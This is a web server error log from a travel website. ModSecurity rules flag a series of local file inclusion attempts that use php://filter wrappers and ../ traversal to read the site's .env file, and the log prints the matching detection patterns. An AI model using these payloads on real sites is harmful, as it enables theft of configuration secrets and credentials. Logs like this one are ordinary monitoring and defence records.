[Fri Jul 17 08:55:12.270420 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&log=php://filter/convert.base64-encode/resource=../../.env&token=atzu0h0vgqkpnl_splxzzsyk1ic_fu1rvbq5rojzc2jr0ds1_lzyq19kvryxasqhwv4hpvolfxr_ezhvieuw8vblvljcmolmhfzah8h8pxbjkp7oduxksbb4war2hhcuqse5gsk8oqcuv4naxpcqk34mzioxxg9gknp2krhj8xc4ztps8n8v2buynxytu_1nu6bwapr3d0wudd5xl3rrs0oswj5cy0b_8mzg0fwqx32hesgusi4wuf_7_knptcorppkignh4glm41vw1sq_zscje&ts=el5sp6bv6tkqpimabiokkmprlx45gnpbprkd73nbvolooq4vujmnesjbalspqrd225xa7qaosei6cfhwcbzb7p4zhgwz6evxlb3g5t6c3zj..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA7FYe46zHK_jL3PqAAAABk"]
[Fri Jul 17 08:55:12.270450 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA7FYe46zHK_jL3PqAAAABk"]
[Fri Jul 17 08:55:12.270485 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA7FYe46zHK_jL3PqAAAABk"]
[Fri Jul 17 08:55:12.270840 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:log: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA7FYe46zHK_jL3PqAAAABk"]
[Fri Jul 17 08:55:12.271861 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA7FYe46zHK_jL3PqAAAABk"]
[Fri Jul 17 08:55:12.272006 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.272319 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmA7FYe46zHK_jL3PqAAAABk"]
[Fri Jul 17 08:55:12.280416 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&log=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&sid=R77NfNa55vFM_ek9JFY-UY79YoCI7pgxlibelIy3BH6X7R6sHJeO797UzJ-wTzuEZQlt0xhUz6mqrS2miL-lrnghB8dLfV-oZi7UauuJFrT5eW-baI_uP9fymsVUdb-cnzmXdmPj-AFfAJP4xn6NHf-AipVFWa0g9vwmfKnzPta4ODobF8lsRQFPjFslRcSNHGnmhCxGHyWr2MrxZu4XGt9Cbl3WNoVk9OBcX_yKWnysoXWZ4aet96JQY41nCnrmnu4szXTalxjx5k4TdrDlBCGa&anything=ETIBOG4XN6L7SWNQ2NH7TF6ZGVAWNWBA2CJKKRVVTC5PUVXFU5IINVNNDS3KYPTVZSWZDTB6QG..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEkXT4NBqALj2lZ8jwAAABA"]
[Fri Jul 17 08:55:12.280489 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEkXT4NBqALj2lZ8jwAAABA"]
[Fri Jul 17 08:55:12.280549 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&log=php://filter/convert.base64-encode/resource=../../../.env&sid=R77NfNa55vFM_ek9JFY-UY79YoCI7pgxlibelIy3BH6X7R6sHJeO797UzJ-wTzuEZQlt0xhUz6mqrS2miL-lrnghB8dLfV-oZi7UauuJFrT5eW-baI_uP9fymsVUdb-cnzmXdmPj-AFfAJP4xn6NHf-AipVFWa0g9vwmfKnzPta4ODobF8lsRQFPjFslRcSNHGnmhCxGHyWr2MrxZu4XGt9Cbl3WNoVk9OBcX_yKWnysoXWZ4aet96JQY41nCnrmnu4szXTalxjx5k4TdrDlBCGa&anything=ETIBOG4XN6L7SWNQ2NH7TF6ZGVAWNWBA2CJKKRVVTC5PUVXFU5IINVNNDS3KYPTVZSWZDTB6QGHA4L2KMUT4MOJMFSAXFXMRDZHT..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEkXT4NBqALj2lZ8jwAAABA"]
[Fri Jul 17 08:55:12.280601 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&log=php://filter/convert.base64-encode/resource=../../../.env&sid=r77nfna55vfm_ek9jfy-uy79yoci7pgxlibeliy3bh6x7r6shjeo797uzj-wtzuezqlt0xhuz6mqrs2mil-lrnghb8dlfv-ozi7uauujfrt5ew-bai_up9fymsvudb-cnzmxdmpj-affajp4xn6nhf-aipvfwa0g9vwmfknzpta4odobf8lsrqfpjfslrcsnhgnmhcxghywr2mrxzu4xgt9cbl3wnovk9obcx_ykwnysoxwz4aet96jqy41ncnrmnu4szxtalxjx5k4tdrdlbcga&anything=etibog4xn6l7swnq2nh7tf6zgvawnwba2cjkkrvvtc5puvxfu5iinvnnds3kyptvzswzdtb6qgha4l2kmut4mojmfsaxfxmrdzht..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEkXT4NBqALj2lZ8jwAAABA"]
[Fri Jul 17 08:55:12.280647 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEkXT4NBqALj2lZ8jwAAABA"]
[Fri Jul 17 08:55:12.280681 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEkXT4NBqALj2lZ8jwAAABA"]
[Fri Jul 17 08:55:12.281063 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:log: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEkXT4NBqALj2lZ8jwAAABA"]
[Fri Jul 17 08:55:12.282093 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEkXT4NBqALj2lZ8jwAAABA"]
[Fri Jul 17 08:55:12.282242 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.282580 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmEkXT4NBqALj2lZ8jwAAABA"]
[Fri Jul 17 08:55:12.300408 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&log=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F.env&anything=_O5y4IoQHMsNb-aVmCuK18ilRGZhjXvFQIepnDtzoS9rPN0jgPpeGSILtaIXN4dIhDaJ_nNUAGFZatfxUBokKQXI-bT_Js2bEpAmy8_3L8_qQMCcXc2d94S8dC3JAlaaHpalhcGCvFjlKx_XFLncWd9alTpgBf16ZwW2gCQOnHay02O3_rwiDIJPHnrr6F8YtimyGtEduyfWjjVI-r6qIVTt6EAHi-mnyq28d2Al_sI0ptf2RAXeixkj1den_QruC-I3kmFua9HABper56MHJWyB&ts=CBEXHVQ3NI2WMFE5AAHIWG4GKGORFKJ4Z6MUNAVHE3YT2YPVDHMYSU7IMPSNMRMICPSTE5VWBLBT..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmOYpb_TFRze2EO3zXQAAAAE"]
[Fri Jul 17 08:55:12.300497 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmOYpb_TFRze2EO3zXQAAAAE"]
[Fri Jul 17 08:55:12.300579 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&log=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&anything=_O5y4IoQHMsNb-aVmCuK18ilRGZhjXvFQIepnDtzoS9rPN0jgPpeGSILtaIXN4dIhDaJ_nNUAGFZatfxUBokKQXI-bT_Js2bEpAmy8_3L8_qQMCcXc2d94S8dC3JAlaaHpalhcGCvFjlKx_XFLncWd9alTpgBf16ZwW2gCQOnHay02O3_rwiDIJPHnrr6F8YtimyGtEduyfWjjVI-r6qIVTt6EAHi-mnyq28d2Al_sI0ptf2RAXeixkj1den_QruC-I3kmFua9HABper56MHJWyB&ts=CBEXHVQ3NI2WMFE5AAHIWG4GKGORFKJ4Z6MUNAVHE3YT2YPVDHMYSU7IMPSNMRMICPSTE5VWBLBT64G5XSLKQOMG6MK5L2PRZJWI..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmOYpb_TFRze2EO3zXQAAAAE"]
[Fri Jul 17 08:55:12.300632 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&log=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&anything=_o5y4ioqhmsnb-avmcuk18ilrgzhjxvfqiepndtzos9rpn0jgppegsiltaixn4dihdaj_nnuagfzatfxubokkqxi-bt_js2bepamy8_3l8_qqmccxc2d94s8dc3jalaahpalhcgcvfjlkx_xflncwd9altpgbf16zww2gcqonhay02o3_rwidijphnrr6f8ytimygteduyfwjjvi-r6qivtt6eahi-mnyq28d2al_si0ptf2raxeixkj1den_qruc-i3kmfua9habper56mhjwyb&ts=cbexhvq3ni2wmfe5aahiwg4gkgorfkj4z6munavhe3yt2ypvdhmysu7impsnmrmicpste5vwblbt64g5xslkqomg6mk5l2przjwi..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmOYpb_TFRze2EO3zXQAAAAE"]
[Fri Jul 17 08:55:12.300701 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmOYpb_TFRze2EO3zXQAAAAE"]
[Fri Jul 17 08:55:12.300734 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmOYpb_TFRze2EO3zXQAAAAE"]
[Fri Jul 17 08:55:12.300831 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:log: php://filter/convert.iconv.utf-8.utf-7/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmCvekYYQ8uns4MwlPQAAAA0"]
[Fri Jul 17 08:55:12.301120 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:log: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmOYpb_TFRze2EO3zXQAAAAE"]
[Fri Jul 17 08:55:12.301919 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmCvekYYQ8uns4MwlPQAAAA0"]
[Fri Jul 17 08:55:12.302072 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.302144 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmOYpb_TFRze2EO3zXQAAAAE"]
[Fri Jul 17 08:55:12.302266 2026] [hostinglimits:warn] [pid 2023579:tid 2023579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2023579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.302361 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmCvekYYQ8uns4MwlPQAAAA0"]
